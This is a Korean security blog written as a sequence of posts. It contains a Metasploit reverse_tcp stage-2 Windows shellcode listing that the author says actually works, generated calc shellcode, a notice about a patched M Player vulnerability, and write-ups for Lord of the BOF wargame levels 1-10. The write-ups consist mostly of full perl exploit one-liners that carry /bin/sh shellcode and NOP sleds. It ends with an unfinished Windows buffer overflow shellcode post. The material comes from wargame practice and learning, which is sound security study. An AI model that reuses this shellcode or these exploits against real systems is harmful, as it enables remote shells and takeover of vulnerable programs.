"\xff\xd5"


이번에 reverse_tcp를 고른이유는 또 다른 이유가 있습니다.


바로 일부가 약간 잘못되서 삽질좀 했습니다. 그래서 다른분은 삽질 하지말라고 이 쉘코드를 선택했습니다.




metasploit의 handler를 이용하여 쉘코드를 사용하면 상관없지만, metasploit을 이용하지 않을때 약간 문제가 발생합니다.


일단 reverse_tcp는 2부분으로 나뉘는데 stage1은 클라이언트가 서버에 연결하는 쉘코드이고 stage2는 server가 client에 cmd shell을 열도록 하는 명령어입니다.


그런데 위에 나온 stage2는 이유를 모르겠지만 작동이 되지 않더군요..


몇시간동안 삽질 삽질을 하면서 알아낸결과 저 stage2의 값은 버리고 아래 코드를 사용하면 됩니다.


metasploit의 handler에서 reverse_tcp payload를 사용할때 stage2를 전송하는데 이때 사용하는 값이랑 위에 나온 stage2와는 약간 다르더군요


그래서 handler 에서 전송하는 stage2를 사용하시면 되겠습니다.


한줄로 요약해서 reverse_tcp를 사용할땐 위 stage2값을 사용하지말고 아래 코드를 사용하시길 바랍니다.


#stage 2 [metasploit handler_windows/shell/reverse_tcp]

"\xF0\x00\x00\x00\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64"

"\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26"

"\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7"

"\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85"

"\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C"

"\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7"

"\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24"

"\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0"

"\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B"

"\x12\xEB\x86\x5D\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31\xF6"

"\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44\x24"

"\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53\x56"

"\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68\x08"

"\x87\x1D\x60\xFF\xD5\xBB\xF0\xB5\xA2\x56\x68\xA6\x95\xBD\x9D\xFF"

"\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A"

"\x00\x53\xFF\xD5"


다시한번 말씀드리면 reverse_tcp는 stage1은 취약점 공격할때에 사용하시고, stage2는 2차로 서버에서 클라이언트로 전송하는 값입니다.


stage1 사용으로 클라이언트가 서버에 연결하면 위 코드를 전송하시면 성공적으로 쉘이 붙는것을 보실 수 있을겁니다.


저와 같이 삽질을 하는 분들에게 도움이 되길 바라며.. ㅋㅋ




자.. 그러면 계산기를 띄우는 쉘코드를 다시한번 만들어보겠습니다.


간단하게 텍스트로만 적어보겠습니다.


msf > use windows/exec
msf  payload(exec) > show options

Module options (payload/windows/exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD                        yes       The command string to execute
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none

msf  payload(exec) > set cmd calc
cmd => calc
msf  payload(exec) > generate -b '\xff\x00'
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, EXITFUNC=process, CMD=calc
buf = 
"\xdb\xca\xd9\x74\x24\xf4\x5b\xba\x23\xf7\xca\x19\x2b\xc9"  
"\xb1\x32\x31\x53\x17\x03\x53\x17\x83\xc8\x0b\x28\xec\xf2"  
"\x1c\x24\x0f\x0a\xdd\x57\x99\xef\xec\x45\xfd\x64\x5c\x5a"  
"\x75\x28\x6d\x11\xdb\xd8\xe6\x57\xf4\xef\x4f\xdd\x22\xde"  
"\x50\xd3\xea\x8c\x93\x75\x97\xce\xc7\x55\xa6\x01\x1a\x97"  
"\xef\x7f\xd5\xc5\xb8\xf4\x44\xfa\xcd\x48\x55\xfb\x01\xc7"  
"\xe5\x83\x24\x17\x91\x39\x26\x47\x0a\x35\x60\x7f\x20\x11"  
"\x51\x7e\xe5\x41\xad\xc9\x82\xb2\x45\xc8\x42\x8b\xa6\xfb"  
"\xaa\x40\x99\x34\x27\x98\xdd\xf2\xd8\xef\x15\x01\x64\xe8"  
"\xed\x78\xb2\x7d\xf0\xda\x31\x25\xd0\xdb\x96\xb0\x93\xd7"  
"\x53\xb6\xfc\xfb\x62\x1b\x77\x07\xee\x9a\x58\x8e\xb4\xb8"  
"\x7c\xcb\x6f\xa0\x25\xb1\xde\xdd\x36\x1d\xbe\x7b\x3c\x8f"  
"\xab\xfa\x1f\xc5\x2a\x8e\x25\xa0\x2d\x90\x25\x82\x45\xa1"  
"\xae\x4d\x11\x3e\x65\x2a\xed\x74\x24\x1a\x66\xd1\xbc\x1f"  
"\xeb\xe2\x6a\x63\x12\x61\x9f\x1b\xe1\x79\xea\x1e\xad\x3d"  
"\x06\x52\xbe\xab\x28\xc1\xbf\xf9\x4a\x84\x53\x61\x8d"


긴글 읽으시느라 수고 많으셨습니다.


감사합니다 :D

신고

Comment 5

안녕하세요 sweetchip입니다.


얼마전 m플레이어에 대한 취약점을 발견하고 통보했습니다.


현재는 버그가 고쳐진 상태입니다.


M플레이어는 Mnet 사에서 스트리밍으로 음원을 제공하는 프로그램입니다.


많은 사용자분들이 사용하고 계십니다. 물론 한때 저도 유저였습니다.


요즘은 음악을 안듣기에 사용하지 않습니다~ 곧 사용할 때가 오겠죠~



위 모습은 m플레이어의 모습입니다.




[특수효과를 ON! 화질도 HD로 보세요.]


재미[?]를 위해서 계산기를 띄우는 쉘코드[공격코드]를 사용하다가 백도어 포트를 여는 쉘코드를 사용했습니다~


Notice : 현재 위 취약점은 패치된 상태이고, m플레이어는 무조건 자동 패치라서 안전합니다.

더이상 신버전에서 위 동영상에 나온 해킹 공격은 유효하지 않음을 알려드립니다.


나름 첫번쨰 발견한 취약점이라 신기하기도 했습니다.


11일동안 밤새면서 공격코드를 구상하기도 했습니다. 왜냐면 일부 코드를 잘못짜서 계속 삽질을 했거든요... ㅠㅠ


하지만 이것도 경험이죠.. ㅠㅠ


Exploit은 공개를 하지 않거나 몇달 ~ 1년뒤에 공부용으로 공개를 하겠습니다.


이번 패치 내용

***************************************************************************************************

* M플레이어 업그레이드 내용 설명 *

***************************************************************************************************


* M플레이어를 위해 버그사항과 개선사항 등의 의견을 주신 분들께 감사드립니다.


[버전 6.55.13.221]


* 비정상 미디어파일 재생 시에 대한 보안 강화

- 미디어파일 재생 시의 보안을 강화하여 보다 안전하게 음악을 감상하실 수 있도록 개선하였습니다.

* 가사창 보기 기능 추가

- 별도의 가사보기 모드를 제공하여 실시간가사 기능을 보다 편리하게 이용하실 수 있도록 개선했습니다.

* 플레이리스트 내 검색 기능 추가

- 플레이리스트에서 원하는 곡을 보다 손쉽게 찾을 수 있도록, 아티스트/곡명 검색 기능을 추가했습니다.

* 슬립예약 기능 추가

- 엠플레이어, 내가 잠들 때까지 음악을 들려줘!

- 슬립예약 기능을 추가하여 잠드는 그 순간까지 음악을 들려드립니다.


버그 말고도 다른 기능도 더 추가가 되었군요


관련 링크 : http://www.boannews.com/media/view.asp?idx=34937&kind=1

관련 링크2 : http://krcert.or.kr/kor/data/secNoticeView.jsp?p_bulletin_writing_sequence=1924



신고

Comment 6

  • 2013.03.27 21:27 수정 답글

    비밀댓글입니다

  • 헤라스
    2013.06.01 23:28 신고 수정 답글

    리모트익스플로잇인가요?

  • 우와우
    2013.08.13 13:51 신고 수정 답글

    어떻게 그런 취약점을 발견하시게 됬나영 ?ㅎ
    플레이어를 어떤 식 으로 분석하셨는지...

    • 2013.08.16 17:10 신고 수정

      자세하게는 말씀드릴 수 없지만 수작업으로 파일을 퍼징하는 방식을 택햇습니다..


안녕하세요 sweetchip입니다.


지난 포스팅에 이어서 계속 쓰려고 합니다.


LOB level 1~5 Exploit

Level6 -----------------------------------------------------------------------------------------------------------------

[wolfman@localhost wolfman]$ cat darkelf.c

/*

The Lord of the BOF : The Fellowship of the BOF

- darkelf

- egghunter buffer hunter check length of argv[1]

*/


#include

#include


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i )

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); // Vuln!!

printf("%s\n", buffer);


// buffer hunter

memset(buffer, 0, 40);

}



점점더 레벨이 올라갈수록 조건이 추가되는군요.


하지만 취약점이 발생하는 부분은 동일하므로 조건만 잘 이용해주시면 되겠습니다.


이번의 조건은 에그헌터 버퍼헌터 인자1 길이체크입니다.


하지만 인자가 몇개여야 한다는 조건은 없어서 인자 2에 nop슬레딩과 쉘코드를 올리고 공격하겠습니다.


그리고 인자 1에서의 48번째 바이트에는 \xbf가 꼭 들어가야 한다고 하는군요.


48번쨰 바이트는 리턴어드레스 부분이라 인자2를 활용할경우는 \xbf가 들어가므로 상관없습니다.


아래 exploit을 보시면 이해가 가실겁니다.


-----------------------------------------------------------------------------------------------------------------

level6 wolfman - love eyuna


payload - nop*44, ret <- argv[1]

- nop*5000, 25bytes_shellcode <- argv[2]


./darkelf `perl -e'print "\xbf"x44,"\xa4\xf8\xff\xbf"'` `perl -e'print "\x90"x5000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


password is kernel crashed

-----------------------------------------------------------------------------------------------------------------



Level7 -----------------------------------------------------------------------------------------------------------------

[darkelf@localhost darkelf]$ cat orge.c

/*

The Lord of the BOF : The Fellowship of the BOF

- orge

- check argv[0]

*/


#include

#include


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// here is changed!

if(strlen(argv[0]) != 77){

printf("argv[0] error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i )

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); // Vuln!

printf("%s\n", buffer);


// buffer hunter

memset(buffer, 0, 40);

}



오.. 이번에는 argv[0]을 체크하는 새로운 조건이 추가되었습니다.


나머지는 이전과 똑같습니다.


일단 argv[0] 인자는 파일명입니다. 파일명의 길이가 77이 아니면 프로그램을 종료시켜버립니다.


대부분 분들은 Symbolic Link 를 이용하여 푸시겠지만. 구글링의 결과로 약간 다른 방법으로 풀이했습니다.


일단 file이라는 프로그램을 실행시킬때는 ./file 을 명령어로 주면 실행이 되는데 .//file 도 똑같이 실행이됩니다.


그말인 즉슨 .///////file 을 해도 상관이 없다는것이며, 이것을 이용해서 argv[0]의 77글자 조건을 만족할수 있다는 것입니다.


그렇다면 argv[0]은 77글자로, argv[1]은 리턴어드레스를 인자2의 주소로 변경시키고, argv[2]엔 놉슬레딩과 쉘코드를 담을것입니다.


.//// 이것을 77번을 계속 하기엔 약간 귀차니즘이 있으므로 지금까지 위에서 했던 리턴어드레스를 보고 대충 때려잡을수 있도록 nop의 크기를 크게 하고


적절한곳에 리턴어드레스를 게싱해서 그쪽으로 돌려보내줬더니 공격에 성공했습니다.


-----------------------------------------------------------------------------------------------------------------

level7 darkelf - kernel crashed


payload - argv[0] <- 77byte

"A"*44 RET[guessing] <- argv[1]

nop*50000 shellcode


.////////////////////////////////////////////////////////////////////////orgg `perl -e'print "\x41"x44,"\xa4\xf7\xff\xbf",'` `perl -e 'print "\x90"x50000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


password is timewalker

-----------------------------------------------------------------------------------------------------------------

Level8 -----------------------------------------------------------------------------------------------------------------

[orge@localhost orge]$ cat troll.c

/*

The Lord of the BOF : The Fellowship of the BOF

- troll

- check argc argv hunter

*/


#include

#include


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i )

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); //Vuln!!

printf("%s\n", buffer);


// buffer hunter

memset(buffer, 0, 40);


// one more!

memset(argv[1], 0, strlen(argv[1]));

}


아.. 조건이 너무 많습니다 ㅠㅠ


이번 조건은 argv의 개수가 반드시 2개여야 합니다.


즉 파일명인 argv[0]과 여러조건이 담긴 argv[1] 밖에 사용할수 없습니다.


이번엔 symbolic link 를 이용하여 풀어보겠습니다.


심볼릭 링크는 바로가기같은 것이라고 생각하시면 쉽습니다.


아래와 같이 심볼릭 링크를 생성합니다.

ln -s troll ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

troll 이라는 bof 취약점이 존재하는 프로그램을 연결시켜주는 심볼릭 링크를 생성합니다.


심볼릭 링크의 이름은


\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


라는 아름다운 이름을 가지게 되었습니다. ㅋㅋ


좋습니다. gdb로 심볼릭 링크를 열면 어느부분에 쉘코드를 보실수 있습니다.


그 주소를 적절히 찾아낸후 리턴어드레스를 변조시킵니다.


-----------------------------------------------------------------------------------------------------------------

level8 orge - timewalker


payload - argv[0] <- shellcode [symblolic_link]

argv[1] <- bf*44 ret


./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e'print "\xbf"x44,"\xb4\xfb\xff\xbf"'`


password is aspirin

-----------------------------------------------------------------------------------------------------------------


Level9 -----------------------------------------------------------------------------------------------------------------

[troll@localhost troll]$ cat vampire.c

/*

The Lord of the BOF : The Fellowship of the BOF

- vampire

- check 0xbfff

*/


#include

#include


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// here is changed!

if(argv[1][46] == '\xff')

{

printf("but it's not forever\n");

exit(0);

}


strcpy(buffer, argv[1]); // Vuln!!

printf("%s\n", buffer);

}


마지막 부분에 이곳이 바뀌엇다는 주석이 달린곳을 자세히 보세요.


아니 이런.. \xff 이면 그냥 꺼버린다는 것입니다.


./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e'print "\xbf"x44,"\xb4\xfb\xff\xbf"'`


위는 레벨8의 Payload입니다.


두껍게 처리된 부분 \xff가 이번에 새로 생긴 조건을 체크하는 부분이고 [47바이트 부분]


두껍게 처리된 부분 \xbf가 원래 있엇던 조건입니다. [48바이트 부분]


그렇다면 저부분은 리턴어드레스를 변조하는 부분입니다.


\xbf는 원래있엇던 것이니 상관이 없는데, \xff는 어떻게 하냐는 건데,


이는 놉슬레딩을 잘 이용해보신 분이라면 알수 있습니다.


nop을 많이 집어넣을수록 낮은 주소로 가게되는데, 이를 이용하면 공격이 가능합니다.


평소의 스케일과는 달리 이번엔 nop을 많이 넣어버리겠습니다.


-----------------------------------------------------------------------------------------------------------------

level9 troll - aspirin


payload -argv[1] <- nop*44 ret

-argv[2] <- nop*100000 shellcode


./vampire `perl -e'print "\x90"x44,"\x18\x77\xfe\xbf"'` `perl -e'print "\x90"x100000,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`



password is music world

-----------------------------------------------------------------------------------------------------------------


Level10 -----------------------------------------------------------------------------------------------------------------


아~ 이제 레벨 10, 중간을 향해 달려가고 있습니다.


[vampire@localhost vampire]$ cat skeleton.c

/*

The Lord of the BOF : The Fellowship of the BOF

- skeleton

- argv hunter

*/


#include

#include


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i, saved_argc;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i )

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


// argc saver

saved_argc = argc;


strcpy(buffer, argv[1]); // Vuln!

printf("%s\n", buffer);


// buffer hunter

memset(buffer, 0, 40);


// ultra argv hunter!

for(i=0; i

memset(argv[i], 0, strlen(argv[i]));

}



이번엔 약간 화나는 조건이 생겼습니다.


맨 마지막에 보시면 주석처리된 ultra argv hunter 를 보실수 있는데,


이는 모든 인자를 그 인자의 크기만큼 모두다 0으로 초기화 시키는 무서운놈입니다.


하지만 위에 조건이 있어서 RTL공격도 할수가 없고,,


어케하지.. 어케하지.. 하는 도중 gdb로 엔터를 다다다닥 눌러보니 맨끝에 파일명이 저장되는것을 볼수있었습니다.


그것을 이용하면 될거라는 생각에 바로 시도했습니다.


일단 결과부터 말씀드리면 성공입니다.


이렇게 푸는게 맞나 햇는데 다른분들도 이렇게 푸셧더군요.. 휴.


이번에도 역시 심볼릭 링크를 이용합니다.


참고 : 문제 풀이중 의도치 않게 리턴어드레스가 이상하게 조작이 되었는데, 그것은 적절히 nop을 이용하시면 푸실수 있습니다.


파일명에 nop을 적절히 섞고, 쉘코드를 올리고 뒤에 nop을 또 넣습니다. 바로 윗줄에서 그랬듯이 exploit이 안되서 core을 살펴보니


리턴 어드레스가 이상하게 변조되서 그것을 맞춰주느라 nop을 추가로 넣었습니다.


-----------------------------------------------------------------------------------------------------------------

level10 vampire - music world


payload - argv[0] <- nop*130 shellcode nop*61

argv[1] <- bf*44 ret


./`perl -e'print "\x90"x130, "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81","\x90"x61'` `perl -e'print "\xbf"x44,"\x70\xff\xff\xbf"'`


password is shellcoder


-----------------------------------------------------------------------------------------------------------------


성공적으로 쉘을 획득하고 패스워드를 알아냈습니다.


이제 딱 반을 달렷네요.


나머지는 3월 이내로올리겠습니다.


요즘 개인적인 일이 너무 많네요.

신고

댓글 0


안녕하세요 sweetchip입니다.


해커스쿨에서 제공하는 레드햇 6.2 이미지에 BOF 취약점이 담긴 프로그램을 레벨별로 공격할수 있도록 해둔 워게임 입니다.


특이하게도 시스템 해킹이라는 것이죠.


계속 풀어보긴 했는데 잘 풀려지지 않아서 이번에 다시 한번 정리하고 풀어봤습니다.


강의 형식으로는 진행하지 않고 간단하게 원리정도만 설명하는 것으로 하겠습니다.


[gate@localhost gate]$ cat gremlin.c

// level1 - gremlin.c


/*

The Lord of the BOF : The Fellowship of the BOF

- gremlin

- simple BOF

*/


int main(int argc, char *argv[])

{

char buffer[256];

if(argc < 2){

printf("argv error\n");

exit(0);

}

strcpy(buffer, argv[1]); // vuln!

printf("%s\n", buffer);

}



전형적인 buffer overflow 문제입니다.


큰 버퍼안에 쉘코드를 담고 리턴어드레스를 버퍼의 쉘코드가 담긴 부분으로 돌리면 exploit 에 성공할것입니다.


level1 : gate - gate


payload - nop*100, 25bytes_shellcode, nop*135, ret


./gremlin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e

\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x135,"\x30\xf9\xff\xbf"'`


password is hello bof world


-----------------------------------------------------------------------------------------------------------------



Level2 -----------------------------------------------------------------------------------------------------------------



[gremlin@localhost gremlin]$ cat cobolt.c

/*

The Lord of the BOF : The Fellowship of the BOF

- cobolt

- small buffer

*/


int main(int argc, char *argv[])

{

char buffer[16];

if(argc < 2){

printf("argv error\n");

exit(0);

}

strcpy(buffer, argv[1]); // vuln!

printf("%s\n", buffer);

}



이것도 역시 전형적인 버퍼오버플로우의 코드입니다.


그러나 저 버퍼안에 쉘코드를 집어넣기란 어렵습니다....


그렇다면 다른방법이 있는데, rtl 공격을 할수있고 인자 1개를 더 넘기는 방법이 있습니다.


일단 저는 인자를 하나 더 넘겨서 공격을 할것입니다.


-----------------------------------------------------------------------------------------------------------------

level2 gremlin - hello bof world


payload - nop*20,ret <- argv[1]

nop*40,25bytes_shellcode,nop*30 <- argv[2]


./cobolt `perl -e'print"\x90"x20,"\x10\xfc\xff\xbf"'` `perl -e'print "\x90"x40,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f

\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x30'`



password is hacking exposed

-----------------------------------------------------------------------------------------------------------------


LEVEL3 // 파이프가 이상하게 먹히지 않아서 보류중입니다.

LEVEL4 -----------------------------------------------------------------------------------------------------------------


[goblin@localhost goblin]$ cat orc.c

/*

The Lord of the BOF : The Fellowship of the BOF

- orc

- egghunter

*/


#include

#include


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i )

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


strcpy(buffer, argv[1]); //vuln!

printf("%s\n", buffer);



역시나 전형적인 bof 문제이지만, 에그헌터라는것이 새로 생겼습니다.


에그헌터는 환경변수에 쉘코드를 넣어서 공격하는것을 방지하기 위해서 넣어진 함수입니다.


하지만 환경변수를 이용하고 있지 않기에 똑같이 공격하면 됩니다.


이번에도 역시 2번쨰 인자를 이용하여 공격하겠습니다.


인자의 주소를 구하는 방법은 아무 글자를 100번 정도 넣고 GDB로 찾아보는것이 쉽습니다.


인자의 주소를 구하고 공격을 시작합니다.


인자 2엔 놉슬라이딩과 25바이트의 쉘코드를 넣을것입니다.


-----------------------------------------------------------------------------------------------------------------

level4 goblin - hackers proof


payload - nop*44,ret <- argv[1]

- nop*1000, 25bytes_shellcode <- argv[2]


./orc `perl -e'print"\x90"x44,"\x64\xfb\xff\xbf"'` `perl -e'print"\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f

\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


password is cantata

-----------------------------------------------------------------------------------------------------------------




Level5 -----------------------------------------------------------------------------------------------------------------

[orc@localhost orc]$ cat wolfman.c

/*

The Lord of the BOF : The Fellowship of the BOF

- wolfman

- egghunter buffer hunter

*/


#include

#include


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i )

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]); // vuln!

printf("%s\n", buffer);


// buffer hunter

memset(buffer, 0, 40);

}



에그 헌터와 버퍼 헌터가 생겼습니다.


에그헌터는 위에서 설명한 그대로이고, 버퍼헌터는 char buffer[40]에 있는 내용을 모두 초기화 시킵니다.


옛날에 어느분이 물어보셧는데 이거 초기화 하면 ret도 초기화 되냐고 하셧는데,


코드상에는 40바이트 만큼 초기화 시킵니다.


buffer | SFP | RET

40byte 4byte 4byte


이곳에 예를들어서 \x90을 48바이트를 넣는다면


\x90. * 40 | \x90 * 4 | \x90 * 4


만큼 넣어질것이고


위 memset을 거치면


0 *40 | \x90 * 4 | \x90 * 4


가 됩니다.


그러므로 리턴어드레스를 변조하는것엔 아무 문제없습니다.


그러면 인자 2에 쉘코드를 넣고 nop 슬라이딩을 적절히 사용해 공격합니다


-----------------------------------------------------------------------------------------------------------------

level5 orc - cantata


payload - nop*44, ret <- argv[1]

- nop*1000, 25bytes_shellcode


./wolfman `perl -e'print "\x90"x44,"\xe4\xf8\xff\xbf"'`, `perl -e'print "\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f

\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


password is love eyuna


-----------------------------------------------------------------------------------------------------------------



레벨 1~5까지의 exploit 을 성공하고 패스워드를 획득했습니다.

신고

'0x10 정보보안 > 0x15 System' 카테고리의 다른 글

Mnet 플레이어 취약점 시연  (6) 2013.02.25
LOB level 6~10 Exploit  (0) 2013.01.18
LOB level 1~5 Exploit  (0) 2013.01.17
windows buffer overflow - exploit #1  (0) 2013.01.06
Windows Buffer Overflow 기초  (2) 2013.01.05
hackerschool FTZ level11 Write up  (0) 2012.11.03

댓글 0




안녕하세요 sweetchip입니다.


윈도우의 BOF를 배우면서 수많은 삽질과 멘붕을 하고있습니다.


아실만한 분은 아시는 '3f' 떄문에 win xp sp3 이 싫어지려고 하네요 ㅋㅋ


오늘은 취약한 프로그램과 그 취약한 프로그램을 공격해보는 것을 포스팅 하겠습니다.




먼저 취약한 프로그램의 소스를 짜보자


vuln.cpp


#include

#include


int main(int argc, char* argv[])

{

char buf[100];

if( argc < 2)

{

printf("Exception, argv", argv[0]);

exit(1);

}

sprintf(buf, argv[1]); // Vuln!!

printf("%s\n", buf);

return 0;

}


//end of source



위 소스에선 sprintf 함수로 인해서 취약점이 발생하게 된다.


buf를 100만큼 선언해두고, 그곳에 첫번째 argument 를 복사한다.


그과정에서 복사할 양을 체크하지 않아 buffer overflow 취약점이 발생된다.


우선 이 과정을 하기전, 쉘코드를 짜보도록 하자.



지난 포스팅에 사용되었던 쉘코드는 간단하게 만드는 원리를 배워본 쉘코드이다.


하지만 문제 있다... windows xp Service Pack 3 이상부터는 일정한 코드는 3F 즉 ? 로 처리해버린다.


아래 블로그 링크중 일부 인용


3f로 변환이 되요 ㅠㅠ


이유 :
커널에서 widecharacter함수를 쓰는데 아규먼트로 유니코드만 받기때문에 입력값에 유니코드만 들어가야하는데
쉘코드에서 유니코드가 아닌 문자열이 들어가기때문에 3f로 처리 했기 때문이다.

(출처 http://beist.org/comm/read.html?table=new_freeboard&uid=494&page=3 , 어느분의 질문에서...)



이게 상당히 화난다.


지난번 쉘코드를 그냥 사용해버리면 3f처리 되는것이 상당히 많아서 쉘코드가 몇바이트씩 3f로 묶여버리게 되어 쉘코드가 정상적으로 실행되지 않는다.


// 그래서 다른 사람들은 인코딩등으로 해결하는데 그건 좀더 알아봐서 포스팅을 할것입니다.


그래서 다른 방법으로 우연히 구글링으로 찾은 블로거님의 게시글을 보고 쉘코드를 제작했다.


Url : http://uptx.egloos.com/372313


이글을 쓰신 블로거 님도 상당히 삽질을 하신듯 한데, 이렇게 해결방법을 알려주셔서 나는 그닥 많이 삽질은 하지 않았다.


그리고 이분의 블로그를 정말 많이 참고했다.. ㅋㅋ


그리고 내 운영체제에 맞게 커스터마이징 시킨후 쉘코드를 완성했다.


지난번에 사용하던 쉘코드

\x55

\x8b\xec

\x83\xec\x44

\x53

\x56

\x57

\xc6\x45\xfc\x63 //\xfc\x63 이부분 등에서 3F로 묶여버린다.

\xc6\x45\xfd\x6d //\xfd\x6d

\xc6\x45\xfe\x64 //\xfe\x64

\xc6\x45\xff\x00 //\xff\x00

\x8b\xf4

\x6a\x01

\x8d\x45\xfc

\x50

\xb8\xad\x23\x86\x7c

\xff\xd0

\x6a\x01

\xb8\xfa\xca\x81\x7c

\xff\xd0


이번에 사용할 쉘코드


char shellcode[]=

"\x68\x63\x6d\x64\x01" // PUSH 01646D63 // cmd

